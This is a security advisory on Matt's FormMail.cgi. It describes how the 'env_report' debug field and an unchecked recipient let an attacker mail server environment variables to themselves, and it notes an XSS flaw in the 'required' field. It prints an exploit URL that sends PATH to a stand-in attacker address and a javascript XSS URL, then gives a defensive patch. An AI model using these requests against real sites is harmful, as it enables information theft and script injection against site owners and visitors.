COMMAND

    FormMail.cgi

SYSTEMS AFFECTED

    Matt's FormMail.cgi

PROBLEM

    Following  is  based  on  Black  Watch  Labs Advisory.  The script
    allows  several  environment  variables   to  be  viewed  by   the
    attacker,  who  can  gain  useful  information on the site, making
    further attacks more feasible.

    FormMail contains a debug field named "env_report", whose value is
    a  list  of  environment   variables  (accessed  via   $ENV[name])
    separated by commas.  These variables (if they exist) are embedded
    into the message body.  Furthermore, the script does not check the
    integrity  of  the  recipient,  thus  the  recipient  field can be
    changed, so the  message will be  sent to the  attacker’s account.
    Thus the attacker can gain the environment information.

    As for exploit, assume the URL for the script is

        http://www.formmail.site/cgi-bin/formmail.cgi

    then to  get the  PATH environment  parameter (i.e.  to send it to
    account: attacker@attacker.site), all there is to do is to request
    the following URL:

        http://www.formmail.site/cgibin/formmail.cgi?env_report=PATH&recipient=attacker@attacker.site&required=&firstname=&lastname=&email=&message=&Submit=Submit

    It also appears to be vulnerable to cross-site scripting problems.
    Hint: hack the 'required' config, e.g.

        http://victim.example.com/formmail.cgi?required=<a+href%3d'javascript%3aalert("hello")%3b'>hello</a>&recipient=foo

SOLUTION

    Many of these  scripts are also  Perl-based, which means  auditing
    and correcting  them are  easy.   Anybody who's  not auditing  and
    tweaking freebie scripts like this one needs to rethink their  Web
    app procedures. Some patches:

    --- formmail.cgi.orig	Wed May 10 23:34:09 2000
    +++ formmail.cgi	Thu May 11 00:14:22 2000
    @@ -34,6 +34,13 @@
    
     @referers = ('worldwidemart.com','206.31.72.203');
    
    +# @validrecipients limits what email addresses can receive form submissions;
    +# this should be an array of regular expressions. Note that the recipient
    +# value should contain only one Internet email address; use an alias or
    +# hack the script more if you need/want multiple recipients for one form
    +
    +@validrecipients = ( '^[a-z]{1,}\@goodguys\.example\.com$' );
    +
     # Done                                                                       #
     ##############################################################################
    
    @@ -175,10 +182,16 @@
         # names or environment variables.                                        #
         $Config{'required'} =~ s/(\s+|\n)?,(\s+|\n)?/,/g;
         $Config{'required'} =~ s/(\s+)?\n+(\s+)?//g;
    +    # required fields should have alphanumeric names; this
    +    # helps combat cross-site scripting probs in &error()
    +    $Config{'required'} =~ s/[^a-zA-Z0-9\_]//gs;
         $Config{'env_report'} =~ s/(\s+|\n)?,(\s+|\n)?/,/g;
         $Config{'env_report'} =~ s/(\s+)?\n+(\s+)?//g;
         $Config{'print_config'} =~ s/(\s+|\n)?,(\s+|\n)?/,/g;
         $Config{'print_config'} =~ s/(\s+)?\n+(\s+)?//g;
    +    # missing_fields_redirect should not be used to add arbitrary server
    +    # headers, etc.; scrub its contents
    +    $Config{'missing_fields_redirect'} =~ s/[^a-zA-Z0-9\_\:\/\-]//gs;
    
         # Split the configuration variables into individual field names.         #
         @Required = split(/,/,$Config{'required'});
    @@ -194,6 +207,18 @@
         if (!$Config{'recipient'}) {
             if (!defined(%Form)) { &error('bad_referer') }
             else                 { &error('no_recipient') }
    +    } else {
    +	# have recipient; is it OK?
    +	$recipientOK = 0;
    +	foreach $possibleRecipient ( @validrecipients ) {
    +		if ( $Config{'recipient'} =~ /$possibleRecipient/i ) {
    +			$recipientOK = 1;
    +			last;
    +		}
    +	}
    +	if ( $recipientOK != 1 ) {
    +		&error('no_recipient');
    +	}
         }
    
         # For each require field defined in the form:                            #
    @@ -570,10 +595,10 @@
      <body bgcolor=#FFFFFF text=#000000>
       <center>
        <table border=0 width=600 bgcolor=#9C9C9C>
    -    <tr><th><font size=+2>Error: No Recipient</font></th></tr>
    +    <tr><th><font size=+2>Error: No Valid Recipient</font></th></tr>
        </table>
        <table border=0 width=600 bgcolor=#CFCFCF>
    -    <tr><td>No Recipient was specified in the data sent to FormMail.  Please
    +    <tr><td>No Valid Recipient was specified in the data sent to FormMail.  Please
          make sure you have filled in the 'recipient' form field with an e-mail
          address.  More information on filling in recipient form fields can be
          found in the README file.<hr size=1>